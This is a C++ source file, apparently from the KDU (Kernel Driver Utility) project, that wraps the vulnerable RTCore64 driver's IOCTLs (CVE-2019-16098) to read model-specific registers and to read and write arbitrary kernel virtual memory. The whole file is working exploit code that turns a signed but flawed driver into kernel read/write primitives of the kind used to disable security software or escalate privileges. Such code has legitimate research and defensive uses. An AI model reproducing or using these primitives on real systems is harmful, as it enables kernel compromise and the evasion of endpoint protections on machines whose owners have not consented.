KDU/Source/Hamakaze/idrv/rtcore.cpp

358 lines
6.5 KiB
C++

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2020
*
* TITLE: RTCORE.CPP
*
* VERSION: 1.00
*
* DATE: 24 Jan 2020
*
* RTCORE64 driver routines.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
#include "idrv/rtcore.h"
//
// Based on https://github.com/Barakat/CVE-2019-16098
//
/*
* RTCoreCallDriver
*
* Purpose:
*
* Call RTCore driver.
*
*/
BOOL RTCoreCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID Buffer,
_In_ ULONG Size)
{
BOOL bResult = FALSE;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
Buffer,
Size,
Buffer,
Size);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
/*
* RTCoreReadMSR
*
* Purpose:
*
* Read given msr.
*
*/
BOOL RTCoreReadMsr(
_In_ HANDLE DeviceHandle,
_In_ ULONG Msr,
_Out_ ULONG64* Value
)
{
RTCORE_MSR request;
*Value = 0;
RtlSecureZeroMemory(&request, sizeof(request));
request.Register = Msr;
if (!RTCoreCallDriver(DeviceHandle,
IOCTL_RTCORE_READMSR,
&request,
sizeof(request)))
{
return FALSE;
}
*Value = (request.ValueLow & 0xfffff000ul) | ((ULONG64)request.ValueHigh << 32);
return TRUE;
}
/*
* RTCoreReadMemoryPrimitive
*
* Purpose:
*
* Basic read primitive, reads 4 bytes at once.
*
*/
BOOL RTCoreReadMemoryPrimitive(
_In_ HANDLE DeviceHandle,
_In_ ULONG Size,
_In_ ULONG_PTR Address,
_Out_ ULONG* Value)
{
RTCORE_REQUEST request;
*Value = 0;
if ((Size != sizeof(WORD)) &&
(Size != sizeof(ULONG)))
{
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}
RtlSecureZeroMemory(&request, sizeof(request));
request.Address = Address;
request.Size = Size;
if (RTCoreCallDriver(DeviceHandle,
IOCTL_RTCORE_READVM,
&request,
sizeof(RTCORE_REQUEST)))
{
*Value = request.Value;
return TRUE;
}
return FALSE;
}
/*
* RTCoreWriteMemoryPrimitive
*
* Purpose:
*
* Basic write primitive, writes 4 bytes at once.
*
*/
BOOL RTCoreWriteMemoryPrimitive(
_In_ HANDLE DeviceHandle,
_In_ DWORD Size,
_In_ ULONG_PTR Address,
_In_ ULONG Value)
{
RTCORE_REQUEST request;
if ((Size != sizeof(WORD)) &&
(Size != sizeof(ULONG)))
{
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}
RtlSecureZeroMemory(&request, sizeof(request));
request.Address = Address;
request.Size = Size;
request.Value = Value;
return RTCoreCallDriver(DeviceHandle,
IOCTL_RTCORE_WRITEVM,
&request,
sizeof(RTCORE_REQUEST));
}
/*
* RTCoreReadMemoryULONG
*
* Purpose:
*
* Read ULONG from kernel.
*
*/
BOOL RTCoreReadMemoryULONG(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_ ULONG* Value)
{
ULONG valueRead = 0;
*Value = 0;
if (RTCoreReadMemoryPrimitive(DeviceHandle,
sizeof(ULONG),
Address,
&valueRead))
{
*Value = valueRead;
return TRUE;
}
return FALSE;
}
/*
* RTCoreReadMemoryULONG64
*
* Purpose:
*
* Read ULONG64 from kernel.
*
*/
BOOL RTCoreReadMemoryULONG64(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_ ULONG64* Value)
{
ULONG valueLow = 0, valueHigh = 0;
*Value = 0;
if (!RTCoreReadMemoryULONG(DeviceHandle,
Address + sizeof(ULONG),
&valueHigh))
{
return FALSE;
}
if (!RTCoreReadMemoryULONG(DeviceHandle,
Address,
&valueLow))
{
return FALSE;
}
*Value = ((ULONG64)valueHigh << 32) | valueLow;
return TRUE;
}
/*
* RTCoreWriteMemoryULONG
*
* Purpose:
*
* Write ULONG to kernel.
*
*/
BOOL RTCoreWriteMemoryULONG(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_In_ ULONG Value
)
{
return RTCoreWriteMemoryPrimitive(DeviceHandle,
sizeof(ULONG),
Address,
Value);
}
/*
* RTCoreWriteMemoryULONG64
*
* Purpose:
*
* Write ULONG64 to kernel.
*
*/
BOOL RTCoreWriteMemoryULONG64(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_In_ ULONG64 Value)
{
if (RTCoreWriteMemoryPrimitive(DeviceHandle,
sizeof(ULONG),
Address,
Value & 0xfffffffful))
{
return RTCoreWriteMemoryPrimitive(DeviceHandle,
sizeof(ULONG),
Address + sizeof(ULONG),
Value >> 32);
}
return FALSE;
}
/*
* RTCoreReadVirtualMemory
*
* Purpose:
*
* Read virtual memory via RTCore64.
* Input buffer length must be aligned to ULONG
*
*/
_Success_(return != FALSE)
BOOL RTCoreReadVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR VirtualAddress,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
if ((NumberOfBytes % sizeof(ULONG)) != 0)
return FALSE;
PULONG BufferPtr = (PULONG)Buffer;
ULONG_PTR virtAddress = VirtualAddress;
ULONG valueRead, readBytes = 0;
for (ULONG i = 0; i < (NumberOfBytes / sizeof(ULONG)); i++) {
if (!RTCoreReadMemoryULONG(DeviceHandle, virtAddress, &valueRead))
break;
BufferPtr[i] = valueRead;
virtAddress += sizeof(ULONG);
readBytes += sizeof(ULONG);
}
return (readBytes == NumberOfBytes);
}
/*
* RTCoreWriteVirtualMemory
*
* Purpose:
*
* Write virtual memory via RTCore64.
* Input buffer length must be aligned to ULONG
*
*/
_Success_(return != FALSE)
BOOL RTCoreWriteVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR VirtualAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes
)
{
if ((NumberOfBytes % sizeof(ULONG)) != 0)
return FALSE;
PULONG BufferPtr = (PULONG)Buffer;
ULONG_PTR virtAddress = VirtualAddress;
ULONG valueWrite, writeBytes = 0;
for (ULONG i = 0; i < (NumberOfBytes / sizeof(ULONG)); i++) {
valueWrite = BufferPtr[i];
if (!RTCoreWriteMemoryULONG(DeviceHandle, virtAddress, valueWrite))
break;
virtAddress += sizeof(ULONG);
writeBytes += sizeof(ULONG);
}
return (writeBytes == NumberOfBytes);
}